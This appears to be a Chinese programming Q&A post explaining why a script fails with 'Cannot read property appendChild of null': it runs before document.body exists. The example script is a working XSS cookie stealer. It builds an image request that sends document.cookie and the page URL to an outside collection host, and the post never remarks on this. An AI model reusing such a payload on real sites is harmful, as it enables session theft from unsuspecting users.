JS加载时报错:Cannot read property 'appendChild' of null


id=19880053_70535755_p0.png

  • 加载 JS 时出现Cannot read property 'appendChild' of null错误:

html页 code:




    
    Document
      # A


    
      # B


所加载的JS页 code:

// https://xsspt.com/Xjgl5Y?1536676415

var imgCookie = document.createElement('img');
imgCookie.src = 'https://xsspt.com/index.php?do=api&id=Xjgl5Y&cookie=' + escape(document.cookie) + '&location=' + escape(document.location.href);
document.body.appendChild(imgCookie); 


  • A在加载的时候出现Cannot read property 'appendChild' of null错误

    这种情况一般是获取的 节点 不存在导致的

    A加载到第 3 行的时候,需要在body下添加一个img节点,这个时候的body节点还未加载,所以找不到
    B因为在body内,所以加载B的时候body已经加载并出现了


你可能感兴趣的:(JS加载时报错:Cannot read property 'appendChild' of null)